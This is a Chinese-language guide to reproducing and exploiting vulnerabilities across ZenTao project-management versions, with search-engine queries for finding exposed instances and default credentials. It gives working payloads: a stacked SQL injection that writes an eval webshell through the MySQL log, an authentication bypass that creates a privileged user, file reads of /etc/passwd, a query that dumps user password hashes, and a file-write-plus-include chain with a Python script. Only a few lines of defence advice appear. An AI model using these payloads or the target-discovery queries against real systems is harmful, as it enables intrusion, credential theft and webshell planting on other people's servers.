禅道各版本漏洞复现汇总上篇
字数 1435 2025-08-18 11:38:56

禅道各版本漏洞复现与利用指南

禅道产品概述

禅道是国产开源项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体。官网地址:https://www.zentao.net/

资产测绘方法

  • Fofa: app="易软天创-禅道系统"icon_hash="53755730"
  • Hunter: app.name="ZenTao 禅道 ALM"
  • Quaker: app:"禅道系统"favicon: "b1d3deb4bd16c8c1637235515deea114"

基本信息收集

  1. 版本信息获取:

    /zentao/index.php?mode=getconfig
    
  2. 绝对路径获取:

    /zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php
    
  3. 默认凭证:

    • admin/123456 (通常安装后会强制修改)

漏洞复现与利用

1. zentaopms-9.1.2 SQL注入&Getshell

漏洞描述: orderBy处理过程中存在SQL注入问题,可堆叠注入。

POC:

GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&ampparam=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: [target]
Referer: http://[target]/zentaopms/

利用步骤:

  1. 开启MySQL日志:

    set global general_log='on';
    
  2. 更改日志路径:

    set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';
    
  3. 写入Webshell:

    select '<?php @eval($_POST[1])?>';
    
  4. 关闭日志:

    set global general_log='off';
    
  5. 访问Webshell:

    http://[target]/zentaopms/module/misc/ext/model/foo.php
    

    密码: 1

漏洞分析:

  • 漏洞点在于orderBy处理过程中的SQL注入
  • 采用日志写shell的方式
  • 需要手动添加Referer头: Referer: http://[target]/zentaopms/

2. 禅道8.2-9.2.1前台Getshell

利用工具:

python exp.py http://127.0.0.1:81/ jas502n.php

工具地址: https://github.com/jas502n/zentao-getshell


3. 禅道身份认证绕过(QVD-2024-15263)

影响版本:

  • 开源版: v16.x <= 禅道 < v18.12
  • 企业版: v6.x <= 禅道 < v8.12
  • 旗舰版: v3.x <= 禅道 < v4.12

复现步骤:

  1. 获取有效cookie:

    GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1
    Host: [target]
    
  2. 添加用户(403响应表示成功):

    POST /biz/api.php/v1/users HTTP/1.1
    Host: [target]
    Cookie: zentaosid=[cookie]
    
    {"account": "asda33", "password": "QQqq123456", "realname": "asda33", "role": "top", "group": "1"}
    

检测工具:

  • https://github.com/kkbo8005/poctools
  • 或使用afrog进行检测

4. 禅道11.6任意文件读取漏洞

POC:

http://[target]/api-getModel-file-parseCSV-fileName=/etc/passwd
http://[target]/api-getModel-api-getMethod-filePath=/etc/passwd/1

环境搭建:

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

漏洞分析:

  • parseCSV方法中file_get_contents直接读取文件内容
  • .php.txt结尾的文件会被过滤

5. 禅道11.6 SQL注入漏洞

POC:

http://[target]/api-getModel-api-sql-sql=select+account,password+from+zt_user

漏洞分析:

  • module/api/moudel.php中的sql函数未充分过滤
  • 仅使用trim($sql)过滤空格
  • 限制只能执行SELECT语句

6. 禅道11.6任意文件写入漏洞

POC:

POST /api-getModel-editor-save-filePath=/tmp/test HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo()?>');?>

文件包含执行:

http://[target]/api-getModel-api-getMethod-filePath=/tmp/test/1234

检测脚本:

#!/usr/bin/python3
import requests

def check_vuln(target_url, zentaosid):
    headers = {"Cookie": f"zentaosid={zentaosid}"}
    
    # 尝试写入文件
    data = {"fileContent": "<?php phpinfo();?>"}
    requests.post(f"{target_url}/api-getModel-editor-save-filePath=/tmp/test", 
                 data=data, headers=headers)
    
    # 验证文件包含
    response = requests.get(f"{target_url}/api-getModel-api-getMethod-filePath=/tmp/test/1", 
                          headers=headers)
    if "System" in response.text:
        print(f"漏洞存在! Webshell地址: {target_url}/api-getModel-api-getMethod-filePath=/tmp/test/1/")

总结

  1. 漏洞利用关键点:

    • 注意Referer头的添加
    • 不同版本有不同的利用方式
    • 11.6版本存在多个接口未授权访问问题
  2. 防御建议:

    • 及时更新到最新版本
    • 限制API接口访问权限
    • 对用户输入进行严格过滤
  3. 学习资源:

    • 官方手册: https://www.zentao.net/book/api/setting-369.html
    • 漏洞分析文章: https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
  4. 工具集合:

    • zentao-getshell: https://github.com/jas502n/zentao-getshell
    • poctools: https://github.com/kkbo8005/poctools
禅道各版本漏洞复现与利用指南 禅道产品概述 禅道是国产开源项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体。官网地址:https://www.zentao.net/ 资产测绘方法 Fofa : app="易软天创-禅道系统" 或 icon_hash="53755730" Hunter : app.name="ZenTao 禅道 ALM" Quaker : app:"禅道系统" 或 favicon: "b1d3deb4bd16c8c1637235515deea114" 基本信息收集 版本信息获取 : 绝对路径获取 : 默认凭证 : admin/123456 (通常安装后会强制修改) 漏洞复现与利用 1. zentaopms-9.1.2 SQL注入&Getshell 漏洞描述 : orderBy处理过程中存在SQL注入问题,可堆叠注入。 POC : 利用步骤 : 开启MySQL日志 : 更改日志路径 : 写入Webshell : 关闭日志 : 访问Webshell : 密码: 1 漏洞分析 : 漏洞点在于orderBy处理过程中的SQL注入 采用日志写shell的方式 需要手动添加Referer头: Referer: http://[target]/zentaopms/ 2. 禅道8.2-9.2.1前台Getshell 利用工具 : 工具地址: https://github.com/jas502n/zentao-getshell 3. 禅道身份认证绕过(QVD-2024-15263) 影响版本 : 开源版: v16.x <= 禅道 < v18.12 企业版: v6.x <= 禅道 < v8.12 旗舰版: v3.x <= 禅道 < v4.12 复现步骤 : 获取有效cookie: 添加用户(403响应表示成功): 检测工具 : https://github.com/kkbo8005/poctools 或使用afrog进行检测 4. 禅道11.6任意文件读取漏洞 POC : 环境搭建 : 漏洞分析 : parseCSV 方法中 file_get_contents 直接读取文件内容 以 .php 或 .txt 结尾的文件会被过滤 5. 禅道11.6 SQL注入漏洞 POC : 漏洞分析 : module/api/moudel.php 中的 sql 函数未充分过滤 仅使用 trim($sql) 过滤空格 限制只能执行SELECT语句 6. 禅道11.6任意文件写入漏洞 POC : 文件包含执行 : 检测脚本 : 总结 漏洞利用关键点 : 注意Referer头的添加 不同版本有不同的利用方式 11.6版本存在多个接口未授权访问问题 防御建议 : 及时更新到最新版本 限制API接口访问权限 对用户输入进行严格过滤 学习资源 : 官方手册: https://www.zentao.net/book/api/setting-369.html 漏洞分析文章: https://mp.weixin.qq.com/s/hiGI_ fQmXOHdkPqn6x00Jw 工具集合 : zentao-getshell: https://github.com/jas502n/zentao-getshell poctools: https://github.com/kkbo8005/poctools